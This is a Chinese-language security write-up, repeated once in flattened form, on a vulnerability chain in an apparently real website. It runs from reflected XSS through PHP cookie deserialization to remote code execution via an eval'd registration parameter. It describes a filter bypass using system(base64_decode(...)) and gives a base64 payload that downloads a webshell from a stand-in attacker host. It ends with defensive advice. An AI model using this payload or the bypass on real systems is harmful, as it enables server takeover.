bc从注册到RCE
字数 1388 2025-08-19 12:41:58

PHP反序列化到RCE漏洞分析与利用

漏洞概述

本文详细分析了一个从反射型XSS发现开始,逐步深入挖掘出PHP反序列化漏洞和远程代码执行(RCE)漏洞的过程。该漏洞链展示了如何通过系统性的测试方法,从一个看似无害的XSS漏洞入手,最终获取服务器完全控制权限。

漏洞发现过程

1. 初始发现:反射型XSS

首先在目标网站发现了一个反射型XSS漏洞,位于comefrom参数中。这类参数通常是XSS的高发点。

2. PHP反序列化漏洞分析

2.1 Cookie结构分析

注册账号后发现__user Cookie值经过URL解码后显示为PHP序列化格式:

O:14:"User":4:{s:8:"Nickname";s:5:"test1";s:2:"Id";s:5:"19632";s:4:"Hash";s:32:"e10adc3949ba59abbe56e057f20f883e";s:8:"Username";s:5:"test1";}

PHP序列化格式解析:

  • O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;}

2.2 反序列化尝试

尝试修改序列化数据中的ID字段:

  1. 原始:O:14:s:8:"11111111"
  2. 修改后:O:10:s:8:"4444"

发现修改后无法获取值,表明系统有校验机制。

2.3 校验机制分析

发现两个可能的校验点:

  1. __uniqueId:32位值,疑似MD5
  2. Hash字段:也是32位,名称更可疑

最终确认系统校验的是Hash字段(通过查看源码确认)。

3. 远程代码执行(RCE)漏洞

3.1 发现危险功能

在注册请求中发现action参数,测试发现可直接执行PHP代码:

POST /register.php
action=phpinfo

响应中返回了phpinfo()的执行结果,确认存在代码执行漏洞。

3.2 代码执行分析

推测后端代码实现类似:

eval($_POST['action']+"()");

初始限制:

  1. 只能执行无参函数(因为自动添加了括号)
  2. 存在字符过滤:'"\/+-*,和空格都被过滤

3.3 绕过限制技术

  1. 使用无参函数探测环境:

    • get_included_files()
    • get_defined_functions()
  2. 发现可以执行带参函数(通过var_dump确认)

  3. 空格绕过尝试:

    • 常见CTF空格绕过字符(${IFS}, <, >, %09)大多被过滤
    • %09被拦截(%2509也被拦截)
  4. 最终利用方案:

    • 通过get_defined_functions()查看可用函数
    • 使用system(base64_decode("命令base64"))绕过空格限制

漏洞利用步骤

反序列化利用

  1. 获取合法用户的Cookie
  2. 分析__user结构
  3. 修改关键字段(如ID)
  4. 确保Hash校验通过(或暴力破解)

RCE利用

  1. 发现action参数

  2. 测试直接代码执行:

    POST /register.php
    action=phpinfo
    
  3. 执行系统命令:

    POST /register.php
    action=system(base64_decode("Y2QgL3RtcCAmJiB3Z2V0IGh0dHA6Ly9hdHRhY2tlci5jb20vc2hlbGwucGhwIC1PIC90bXAvc2hlbGwucGhw"))
    

防御建议

  1. 反序列化防御

    • 避免反序列化用户可控数据
    • 使用签名验证序列化数据完整性
    • 实现严格的类型检查
  2. RCE防御

    • 禁止使用eval()执行用户输入
    • 实现严格的输入过滤
    • 使用白名单限制可执行函数
  3. 系统加固

    • 禁用危险函数(system, exec, passthru等)
    • 实施最小权限原则
    • 定期安全审计

总结

这个漏洞链展示了从低危漏洞到高危漏洞的完整挖掘过程,强调了系统性测试的重要性。开发人员应避免直接执行用户输入,并谨慎处理序列化数据。安全研究人员则应关注所有用户可控输入点,不放过任何可疑行为。

PHP反序列化到RCE漏洞分析与利用 漏洞概述 本文详细分析了一个从反射型XSS发现开始,逐步深入挖掘出PHP反序列化漏洞和远程代码执行(RCE)漏洞的过程。该漏洞链展示了如何通过系统性的测试方法,从一个看似无害的XSS漏洞入手,最终获取服务器完全控制权限。 漏洞发现过程 1. 初始发现:反射型XSS 首先在目标网站发现了一个反射型XSS漏洞,位于 comefrom 参数中。这类参数通常是XSS的高发点。 2. PHP反序列化漏洞分析 2.1 Cookie结构分析 注册账号后发现 __user Cookie值经过URL解码后显示为PHP序列化格式: PHP序列化格式解析: O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;} 2.2 反序列化尝试 尝试修改序列化数据中的ID字段: 原始: O:14:s:8:"11111111" 修改后: O:10:s:8:"4444" 发现修改后无法获取值,表明系统有校验机制。 2.3 校验机制分析 发现两个可能的校验点: __uniqueId :32位值,疑似MD5 Hash 字段:也是32位,名称更可疑 最终确认系统校验的是 Hash 字段(通过查看源码确认)。 3. 远程代码执行(RCE)漏洞 3.1 发现危险功能 在注册请求中发现 action 参数,测试发现可直接执行PHP代码: 响应中返回了 phpinfo() 的执行结果,确认存在代码执行漏洞。 3.2 代码执行分析 推测后端代码实现类似: 初始限制: 只能执行无参函数(因为自动添加了括号) 存在字符过滤: '"\/+-*, 和空格都被过滤 3.3 绕过限制技术 使用无参函数探测环境: get_included_files() get_defined_functions() 发现可以执行带参函数(通过 var_dump 确认) 空格绕过尝试: 常见CTF空格绕过字符( ${IFS} , < , > , %09 )大多被过滤 %09 被拦截( %2509 也被拦截) 最终利用方案: 通过 get_defined_functions() 查看可用函数 使用 system(base64_decode("命令base64")) 绕过空格限制 漏洞利用步骤 反序列化利用 获取合法用户的Cookie 分析 __user 结构 修改关键字段(如ID) 确保 Hash 校验通过(或暴力破解) RCE利用 发现 action 参数 测试直接代码执行: 执行系统命令: 防御建议 反序列化防御 : 避免反序列化用户可控数据 使用签名验证序列化数据完整性 实现严格的类型检查 RCE防御 : 禁止使用 eval() 执行用户输入 实现严格的输入过滤 使用白名单限制可执行函数 系统加固 : 禁用危险函数( system , exec , passthru 等) 实施最小权限原则 定期安全审计 总结 这个漏洞链展示了从低危漏洞到高危漏洞的完整挖掘过程,强调了系统性测试的重要性。开发人员应避免直接执行用户输入,并谨慎处理序列化数据。安全研究人员则应关注所有用户可控输入点,不放过任何可疑行为。